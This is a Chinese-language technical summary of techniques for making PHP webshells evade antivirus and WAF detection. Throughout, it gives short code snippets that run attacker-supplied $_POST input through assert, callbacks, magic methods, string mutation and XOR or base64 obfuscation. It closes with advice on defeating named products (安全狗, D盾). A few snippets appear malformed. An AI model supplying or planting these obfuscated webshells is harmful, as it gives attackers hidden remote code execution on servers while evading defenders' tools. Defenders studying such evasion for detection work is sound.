对于php免杀webshell的一些总结
字数 616 2025-08-26 22:11:45
PHP免杀Webshell技术总结
0x01 前言
本文全面总结PHP Webshell免杀技术,帮助安全研究人员掌握有效的Webshell绕过技巧。
0x02 关于eval与assert函数
eval函数特性
- 是语言构造器而非函数
- 不能被可变函数调用
- 在PHP7.1+仍可使用
// 错误示例 - eval不能作为可变函数
$a = eval;
$a(); // 无法执行
assert函数特性
- 是函数而非语言构造器
- 可被可变函数调用
- PHP7.1+已被弃用
$a = assert;
$a($_POST['x']); // PHP7.1以下可执行
0x03 字符串变形技术
利用PHP字符串函数对关键词进行变形:
// 常用字符串函数
ucwords() // 单词首字母大写
ucfirst() // 字符串首字母大写
trim() // 去除两端空白
substr_replace() // 替换字符串部分
substr() // 返回字符串部分
strtr() // 转换特定字符
strtoupper() // 转大写
strtolower() // 转小写
strtok() // 分割字符串
str_rot13() // ROT13编码
变形示例
$a = substr_replace("assexx","rt",4); // assert
$a($_POST['x']);
0x04 定义函数绕过
基本函数定义
function kdog($a){
$a($_POST['x']);
}
kdog(assert);
反向函数定义
function kdog($a){
assert($a);
}
kdog($_POST[x]);
0x05 回调函数技术
常见回调函数
call_user_func_array()
call_user_func()
array_filter()
array_walk()
array_map()
register_shutdown_function()
register_tick_function()
filter_var()
filter_var_array()
uasort()
uksort()
array_reduce()
array_walk_recursive()
生僻回调函数示例
forward_static_call_array(assert,array($_POST[x]));
回调函数变形
function test($a,$b){
array_map($a,$b);
}
test(assert,array($_POST['x']));
类中回调
class loveme {
var $a;
var $b;
function __construct($a,$b) {
$this->a=$a;
$this->b=$b;
}
function test() {
array_map($this->a,$this->b);
}
}
$p1=new loveme(assert,array($_POST['x']));
$p1->test();
0x06 特殊字符干扰
连接符干扰
$a = $_POST['a'];
$b = "\n";
eval($b.=$a);
命名空间干扰
function dog($a){
\assert($a);
}
dog($_POST[x]);
0x07 数组技术
一维数组
$a = substr_replace("assexx","rt",4);
$b=[''=>$a($_POST['q'])];
多维数组
$b = substr_replace("assexx","rt",4);
$a = array($arrayName = array('a' => $b($_POST['q'])));
0x08 类与魔术方法
class me{
public $a = '';
function __destruct(){
assert("$this->a");
}
}
$b = new me;
$b->a = $_POST['x'];
0x09 编码绕过技术
Base64变形
$a = base64_decode("YXNz+ZX____J____0"); // assert
$a($_POST[x]);
异或编码
$a=('!'^'@').('('^'@').('('^'@').')'^'@').('*'^'@'); // assert
$a($_POST[x]);
0x0A 无特征Webshell
特殊字符构造
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // assert
$_($_POST[_]);
参数后传入
$decrpt = $_POST['x'];
$arrs = explode("|", $decrpt)[1];
$arrs = explode("|", base64_decode($arrs));
call_user_func($arrs[0],$arrs[1]);
0x0B PHP7.1+的Webshell
- 避免使用assert函数
- 转向eval和特殊调用方式
- 更注重字符干扰和编码技术
- 大马使用增加
0x0C 总结
- 安全狗:主要"杀形",可通过字符串变形绕过
- D盾:主要"杀参",可通过参数后传入绕过
- 通用建议:
- 使用生僻回调函数
- 采用特殊加密方式
- 关键参数后传入
- 自定义加密传输数据
未来Webshell发展方向:
- 高度自定义化
- 客户端加密传输
- 服务端解密执行
- 对抗现有WAF检测能力